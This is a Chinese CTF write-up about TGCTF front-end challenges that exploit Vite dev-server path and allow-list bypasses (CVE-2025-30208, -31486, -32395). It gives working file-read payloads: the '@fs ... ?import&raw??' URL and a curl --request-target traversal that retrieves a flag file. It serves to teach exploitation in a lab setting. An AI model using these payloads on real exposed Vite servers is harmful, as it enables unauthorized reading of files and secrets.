June 15, 2025
2 min read
By bx

Table of Contents

This is a list of all the sections in this post. Click on any of them to jump to that section.

Vite漏洞分析

Vite漏洞分析

主要是 TGCTF 里面出来了三道题,这个漏洞还是非常新的

  • CVE-2025-30208

<font style="color:rgb(31, 35, 40);">@fs</font> 拒绝访问 Vite 服务允许列表之外的文件。将 <font style="color:rgb(31, 35, 40);">?raw??</font><font style="color:rgb(31, 35, 40);">?import&raw??</font> 添加到 URL 中可以绕过此限制,如果存在则返回文件内容。这种绕过存在是因为在多个地方删除了尾随分隔符(如 <font style="color:rgb(31, 35, 40);">?</font> ),但未在查询字符串正则表达式中考虑。

https://github.com/vitejs/vite/security/advisories/GHSA-x574-m823-4x7w

  • CVE-2025-31486

这个是,只有明确将 Vite 开发服务器暴露到网络上的应用程序(使用 —host 或 server.host 配置选项)才会受到影响

server.fs.deny 通过 .svg 或相对路径绕过

  • CVE-2025-32395

server.fs.deny bypassed with an invalid request-target

调试 Vue

学习到了一个 vue devtools

官网如下:

Vue DevTools

我就拿这题举例子,在 chrome 下载这个插件

可以清晰的看出来 vue 项目的结构之类的东西

components可以快捷调试,确实比自己找半天强,还能快捷的梳理版本号和项目结构

具体效果如下

前端GAME

https://www.panziye.com/front/16376.html

关键代码

const result = (source) => {             if (source > 17) { // <--- 关键条件在这里!                 return `     \u5F53\u524D\u6210\u7EE9\uFF1A${score.value}\u5206     <div class="result">       <img src="@/assets/images/result.png" />       <p>\u606D\u559C\u4F60\u83B7\u5F97\u4E86</p>       <p>\u96EA\u7CD5\u5927\u738B\u79F0\u53F7</p>       <p>flag\u5728\u6839\u76EE\u5F55\u4E0B/tgflagggg\u4E2D</p> // <--- Flag 位置信息!      </div>     `;             } else {                 return `     \u5F53\u524D\u6210\u7EE9\uFF1A${score.value}\u5206     <div class="result">       <img src="@/assets/images/result.png" />       <p>\u83DC\uFF01\uFF01\uFF01</p>     </div>     `;             }         }
   
   
   -------
   
   const result = (source) => {
    if (source > 17) { // <--- 关键条件在这里!
        return `
当前成绩:${score.value}
<div class="result">
  <img src="@/assets/images/result.png" />
  <p>恭喜你获得了</p>
  <p>雪糕大王称号</p>
  <p>flag在根目录下/tgflagggg中</p> // <--- Flag 位置信息!
</div>
`;
    } else {
        return `
当前成绩:${score.value}
<div class="result">
  <img src="@/assets/images/result.png" />
  <p>菜!!!</p>
</div>
`;
    }
}

http://node2.tgctf.woooo.tech:31048/start.sh

#!/bin/sh
# 鍚姩 Vite 寮€鍙戞湇鍔″櫒锛堝悗鍙拌繍琛岋級
pnpm dev --host 0.0.0.0 &
 
echo $FLAG > /tgflagggg
export FLAG="not_flag"
FLAG="not_flag"
 
httpd -D FOREGROUND
 
# 淇濇寔瀹瑰櫒杩愯锛堥槻姝㈤€€鍑猴級
tail -f /dev/null

最后flag

Payload

http://node2.tgctf.woooo.tech:32123/@fs/tgflagggg?import&raw??

前端GAME Plus

https://github.com/vitejs/vite/security/advisories/GHSA-xcj6-pq6g-qj4x

const result = (source) => {
            if (source > 17) {
                return `
    \u5F53\u524D\u6210\u7EE9\uFF1A${score.value}\u5206
    <div class="result">
      <p>\u606D\u559C\u4F60\u83B7\u5F97\u4E86</p>
      <p>\u96EA\u7CD5\u5927\u738B\u79F0\u53F7</p>
      <p>flag\u5728\u6839\u76EE\u5F55\u4E0B/tgflagggg\u4E2D</p>
    </div>
    `;
            } else {
                return `
    \u5F53\u524D\u6210\u7EE9\uFF1A${score.value}\u5206
    <div class="result">
      <p>\u83DC\uFF01\uFF01\uFF01</p>
    </div>

两种打法都可以

前端GAME Ultra

参考

https://github.com/vitejs/vite/security/advisories/GHSA-356w-63v5-8wf4

┌──(root㉿kali)-[/home/bx]
└─# curl --request-target '/@fs/app/#/../../../tgflagggg' http://node1.tgctf.woooo.tech:32399
 
TGCTF{3b323bb9-70eb-bb3a-d45a-86aff17f8ef4}